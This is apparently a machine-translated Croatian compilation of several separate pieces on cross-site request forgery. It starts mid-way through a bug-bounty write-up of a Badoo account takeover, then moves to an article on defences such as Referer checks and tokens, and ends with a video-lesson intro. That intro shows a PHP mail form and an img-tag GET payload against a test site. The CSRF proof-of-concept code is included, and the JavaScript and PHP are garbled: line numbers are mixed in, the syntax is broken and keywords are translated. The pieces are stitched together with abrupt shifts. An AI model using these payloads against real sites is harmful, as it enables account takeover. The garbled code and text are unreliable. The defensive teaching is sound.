žrtva ne poduzima ništa osim posjete zlonamjernoj web stranici. Evo koda koji je dao:

1 2 3 Badoo račun preuzet 4 6 7 8 9 funkcija getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7cb17 4b560..a810&prompt=none&rt='+ csrf_code; 18 window.location = csrf_url ; 19 ); 20

U osnovi, kada bi žrtva učitala stranicu, ona bi poslala zahtjev Badoo skripti, pokupila rt parametar za tog korisnika, a zatim napravila zahtjev u ime žrtve. U ovom slučaju radilo se o povezivanju Mahmoudovog računa s računom žrtve, što je omogućilo potpuno preuzimanje računa.

zaključke

Gdje ima dima, ima i vatre Ovdje je Mahmoud primijetio da se rt parametar vraća na različitim mjestima, u određenim json odgovorima. Dakle, on je ispravno pretpostavio da bi se mogao pokazati negdje gdje bi se mogao koristiti u ovom slučaju u js datoteci.

Rezultati

CSRF napadi predstavljaju još jedan opasan vektor napada i mogu se izvesti s malo ili nimalo aktivne akcije od strane žrtve. Pronalaženje CSRF ranjivosti zahtijeva malo domišljatosti i, opet, spremnost da se sve testira.

U pravilu, obrasci su prema zadanim postavkama zaštićeni okvirima kao što je Rails ako web mjesto podnese POST zahtjev, ali API-ji mogu

biti posebna priča. Na primjer, Shopify je prvenstveno napisan na okviru Ruby on Rails, koji prema zadanim postavkama pruža CSRF zaštitu za sve forme (iako se može onemogućiti). Međutim, očito to nije nužno slučaj za API-je stvorene pomoću ovog okvira. Na kraju, obratite pozornost na pozive koji mijenjaju podatke na poslužitelju (kao što je akcija brisanja) i koji su napravljeni korištenjem GET zahtjeva.

Pokušao sam opisati koja je to točno ranjivost i, što je još važnije, koji su uvjeti potrebni za izvođenje CSRF napada.

U ovom ću članku pokušati govoriti o zaštiti od napada ove vrste izvana:

• Sa strane klijenta - glavni načini da se zaštitite
• Poslužiteljska strana - pravilan dizajn aplikacije

Ako vas zanima kako se zaštititi od CSRF-a, onda dobrodošli na cat.

opće informacije

Općenito, želim vas podsjetiti da CSRF NIJE ranjivost, to je vrsta napada. I ovaj napad se provodi na krajnjeg korisnika web aplikacije koristeći ranjivost u ovoj aplikaciji, koja se može nazvati "Nedostatak odgovarajuće provjere izvora zahtjeva" (sam sam smislio naziv, nemojte strogo suditi, ali istina je). Ali u nastavku ću CSRF zvati ranjivost i napad spojeni u jedno jer je jednostavnije, a to je način na koji se prihvaća =)

A budući da se napad vrši na korisnika, onda se korisnik mora braniti... šalim se =) Činjenica je da svaki korisnik može smanjiti mogućnost ovog napada na bilo kojoj stranici koju koristi (čak i ako te stranice nemaju ugrađena zaštita od CSRF). No, osim korisnika, i sami programeri stranica mogu dizajnirati svoju aplikaciju na način da spriječe mogućnost izvođenja ovog napada na svoje korisnike.

Pogledajmo zaštitu s obje strane.

Zaštita korisnika

Općenito, ovdje je sve vrlo banalno:

• Nemojte klikati na poveznice koje vam nude treće strane. Ovo je najbanalniji savjet, mislim da to već svi znaju, ali ja sam ga ipak odlučio ponoviti.
• Deautorizirajte nakon završetka rada s određenim mjestom. Čak i ako postoji ranjivost, napadač neće moći izvršiti radnje na ciljnom mjestu u vaše ime.
• Koristite zasebni preglednik ili "privatne ili anonimne načine" za rad s važnim stranicama (idealno, koristite jedan preglednik za svaku stranicu ^_^ ili još bolje, zasebno računalo: D).

To je sve. Sada prijeđimo na ono glavno.

Zaštita programera

Kao što je već spomenuto, ranjivost leži u nedostatku odgovarajuće provjere izvora zahtjeva. Odnosno, kada razvijamo aplikaciju, moramo ugraditi funkcionalnost za provjeru ovog izvora. I što nam prvo pada na pamet? Pravo! Provjera preporuke.

Provjera preporuke

Reći ću odmah, za one koji čitaju članke dijagonalno. Loše je (!) temeljiti svoju obranu samo na provjeri ovog zaglavlja. Zašto – pogledajte u nastavku.

Prvo, shvatimo što je ova metoda.

Radimo s web stranicama koje koriste HTTP protokol. Svaki paket ovog protokola je skup zaglavlja + sadržaj paketa. Jedno od tih zaglavlja je Referer. Sadrži adresu izvora preporuke. Trivijalan primjer: imate otvorenu stranicu A, na ovoj stranici kliknete na poveznicu na stranicu B, u ovom trenutku, kada napravite zahtjev, Referer header će sadržavati adresu stranice A. Odnosno, čini se da je ovo idealan mehanizam za praćenje odakle je korisnik došao.

Evo hrena. A poanta ovdje nije da se referer može lažirati (koji bi zdrav haker tražio od žrtve da zamijeni referera i slijedi navedeni link). A činjenica je da, prema mojoj statistici, oko 5% korisnika ima isključen Referer prijenos. Odnosno, ili tih pet posto uopće neće moći raditi s web mjestom ili će biti ranjivi na ovaj napad (ovisno o politici vaše aplikacije).

Da, da, da, znam što mislite... Pa, koji vrag s ovih 5%? Neka budu ranjivi, ali preostalih 95% je zaštićeno, a u isto vrijeme koštate malo krvi. Odnosno, ako referer sadrži adresu naše aplikacije ili je prazan, onda izvor smatramo potvrđenim? Evo opet hrena! Postoje opcije za prisiljavanje preglednika žrtve da ispuni zahtjev bez navođenja referera (pisao sam o tome)! I evo! Ispostavilo se da su svi korisnici još uvijek ranjivi.

Općenito, kao neovisna metoda, ova metoda je besmislena.

Potvrda akcije

Možete priložiti captcha uz svaki obrazac za slanje i pokazati ga čak i registriranim korisnicima kako biste ih spasili od CSRF-a... Iako bih, možda, radije dao svoj račun hakeru nego da radim u takvom sustavu...

Tokeni

Pa, sada jedini ispravan i pouzdan način.

Značenje ovu metodu sastoji se od dodavanja parametra koji sadrži neke "žetone" svakoj vezi, obrascu za podnošenje itd. A kada primi zahtjev, poslužitelj mora provjeriti prisutnost ovog tokena u prihvaćenim parametrima. Naravno, svaki token za svakog korisnika mora biti jedinstven, a još bolje ako je svaki token jedinstven.

Jedan od najjednostavnijih i najpouzdanijih primjera implementacije - novi token se generira sa svakim zahtjevom i instalira u korisnikove kolačiće te se također dodaje u parametre obrazaca i poveznica na stranici:

Zatim se, po primitku svakog zahtjeva, token iz kolačića uspoređuje s tokenom navedenim u parametrima obrasca. A ako su isti, onda je izvor zahtjeva legalan. Zatim se token ponovno generira i ponovno postavlja u kolačić itd. krug.

Općenito, implementacija može biti drugačija, ali problem je u tome što je prelazak na tokene prilično težak jer morate uzeti u obzir svaki link, svaki obrazac, svaku stranicu... Možete zaštititi samo važne stranice/forme/linkove, ali tada postoji mogućnost da propustite neke od njih.

Ja osobno štitim samo POST obrasce i vrlo važne poveznice. Odnosno, POST u mojim aplikacijama ne radi bez ispravnog tokena. To eliminira mogućnost da zaboravim zaštititi neki obrazac, jer jednostavno neće raditi, a ja ću to odmah primijetiti.

Zaključak

Nadam se da ste iz ovog članka shvatili kako se zaštititi od CSRF napada.

Od autora: razlog za snimanje ove lekcije bilo je pitanje na našem forumu, koje je zvučalo ovako: kako zaštititi web mjesto od CSRF napada? Naravno, odmah smo odgovorili na ovu temu i dali mali algoritam za implementaciju zaštitnog mehanizma. Ali budući da najvjerojatnije svi naši čitatelji ne čitaju forum, odlučio sam snimiti zasebnu lekciju o gore navedenom pitanju.

Želio bih odmah napomenuti da trenutni video neće pružiti potpuno gotovo rješenje koje se može implementirati na potrebnom web mjestu. Jer svatko od vas ima ili će imati web stranicu jedinstvene logičke strukture, odnosno potpuno drugačiju od drugih, što znači da je nemoguće napraviti gotovu zaštitnu skriptu, poštujući apsolutno sve moguće opcije implementacija.

A to nije potrebno, budući da je bit mehanizma zaštite vrlo jednostavna, pa ćete u ovom videu na primjeru testnog mjesta vidjeti kako se možete zaštititi od gore navedene vrste napada, a zatim, na temelju stečenog znanja poduzet ćete slične korake na vlastitom projektu. Pa krenimo.

CSRF je akronim nastao od engleskih riječi Cross-Site Request Forgery, što znači krivotvorenje zahtjeva između stranica. Ovaj pojam davno je predstavio Peter Watkins 2001. godine, no o mogućim napadima ove vrste počelo se govoriti još 1988. godine. Imajte na umu da je već prošlo dovoljno vremena, ali još uvijek je većina internetskih stranica podložna ovom napadu. Odmah se postavlja pitanje – zašto je to tako? A odgovor je prilično jednostavan i leži u činjenici da ranjivost na CSRF napade nije greška u kodu aplikacije, već posljedica potpuno normalnog rada preglednika i web poslužitelja.

Suština napada je da napadač može izvoditi različite radnje na nezaštićenoj web stranici u ime drugog registriranog (ovlaštenog) korisnika. Drugim riječima ovaj tip napad podrazumijeva posjet korisnika web stranici napadača, što pak dovodi do toga da se, neopaženo od njega, izvrše neke unaprijed definirane radnje na drugoj web stranici ili usluzi na kojoj se ovaj korisnik nalazi ovaj trenutak ovlašteni.

U ovom slučaju, u pravilu, mete CSRF napada su razne interaktivne web aplikacije koje izvode određene radnje, na primjer, servisi za slanje e-pošte, razni forumi, sustavi plaćanja itd. Odnosno, haker može obavljati neke radnje u ime drugih korisnika - slati poruke, dodavati nove račune, provoditi financijske transakcije itd.

Sada pogledajmo učinak ovog napada na primjeru testnog mjesta.

Recimo da postoji web stranica čiji je posao slanje elektronička pošta na navedenoj adresi u ime ovlaštenog korisnika. Odnosno na početna stranica vidimo obrazac za slanje poruke. Štoviše, postoji i mehanizam za slanje poruka prilikom prosljeđivanja određenih parametara putem GET zahtjeva (samo za primjer). Stranica za prijavu izgleda ovako:

Ova stranica sasvim obično, ali ono što upada u oči je potvrdni okvir “Član” koji se koristi za spremanje podataka o autorizaciji u kolačićima preglednika. Zapravo, ovaj je mehanizam vrlo zgodan za korisnike, jer pojednostavljuje ponovni pristup stranici, ali je vrlo nepoželjan sa sigurnosne točke gledišta. No ipak, zbog posjetitelja često se moraju učiniti određeni ustupci.

Kod za slanje poruka pomoću dvije metode (GET i POST) izgleda otprilike ovako:

//Slanje poruke if($this->isGet() && !empty($_GET["email"])) ( $body = "Pozdrav, ovo je obrazac za poruku - ".$this->user["name"] ; $body .= " Sadržaj - od GET - ".$_GET["content"].." Od - ".$_GET["email"]; mail(" [e-mail zaštićen]","Nova poruka",$body); ) if($this->isPost()) ( $body = "Pozdrav, ovo je obrazac poruke - ".$this->user["name"]; $body .= " Sadržaj - FROM POST - ".$_POST["content"]."Od - ".$_POST["email"]; mail(" [e-mail zaštićen]","Nova poruka",$body); )

//Pošalji poruku if ($ ovo -> isGet () && ! prazno ( $ _GET [ "e-pošta" ] ) ) ( $tijelo = . $ ovo -> korisnik [ "ime" ] ; $tijelo. = "Sadržaj - iz GET - " . $_GET["sadržaj"]. "Od - ". $_GET["e-pošta"]; if ($this -> isPost()) ( $body = "Pozdrav, ovo je obrazac za poruku - ". $ ovo -> korisnik [ "ime" ] ; $tijelo. = "Sadržaj - IZ OBJAVE - ". $_POST["sadržaj"]. "Od - ". $_POST["e-pošta"]; pošta(" [e-mail zaštićen]", "Nova poruka", $body);

Sada, pogledajmo još jedno mjesto - mjesto hakera.

Na koji može postaviti prilično jednostavan, ali vrlo učinkovit kod ako je potrebno izvršiti napad na GET zahtjev:

< img src = "http://localhost/csrf/[e-mail zaštićen]&content=Zdravo svijete" >

To jest, u biti, vidimo oznaku img, čiji atribut src sadrži put do stranice koja se namjerava napasti, sa skupom potrebnih parametara za izvođenje određene akcije. U našem slučaju, to je slanje poruke, što znači da sada napadač samo treba namamiti korisnika na trenutnu stranicu i, bez njegovog znanja, uputit će se zahtjev stranici koja ga zanima, jer će preglednik pokušati učitati slika čiji je put naveden u atributu src. Istodobno, sjećamo se da kolačići preglednika pohranjuju podatke o autorizaciji i, naravno, aplikacija ih odmah koristi i, sukladno tome, gornji zahtjev će poslužitelj uspješno obraditi. To znači da će poruka biti poslana u ime korisnika.

Ako pogledamo skup zaglavlja koja se šalju zajedno sa zahtjevom, tada doista možemo vidjeti kolačiće s podacima za prijavu račun, što naravno znači - kao što je gore spomenuto - da će zahtjev biti percipiran kao da dolazi od autentificiranog korisnika.

Potpuno ista situacija je i sa slanjem zahtjeva. POST metoda, samo u ovom slučaju, napadač će na svojoj web stranici kreirati obrazac koji će automatski biti poslan koristeći JavaScript čim posjetitelj uđe na ovu stranicu.

Stoga je imperativ zaštititi se od napada ove vrste i jedino najviše učinkovita metoda zaštita je korištenje posebnih tokena.

Sigurnosni token je niz koji se nasumično generira za određenog korisnika i prenosi se u svakom zahtjevu koji uključuje promjenu podataka. Osim toga, token se također sprema u sesiju. Dakle, bit zaštite se svodi na jednostavnu provjeru podudarnosti tokena koji se prenosi u zahtjevu i tokena koji je pohranjen u sesiji. Ako su oba tokena identična, tada je zahtjev poslao ovlašteni korisnik. Ako se tokeni ne poklapaju ili uopće nema tokena u zahtjevu, tada možemo s velikom pouzdanošću procijeniti da se provodi napad, što znači da se ne mogu izvršiti nikakve akcije.

Napominjemo da apsolutno svi zahtjevi koji su usmjereni na promjenu ili izvođenje određenih radnji moraju biti zaštićeni.

Zapravo, u ovoj fazi je tekstualni dio lekcije završen i nastavit ćemo govoriti o zadanoj temi u video verziji. Istodobno ćemo razmotriti metode za generiranje tokena i praktično implementirati gore opisani algoritam zaštite. Sada se pozdravimo. Sretno kodiranje!!!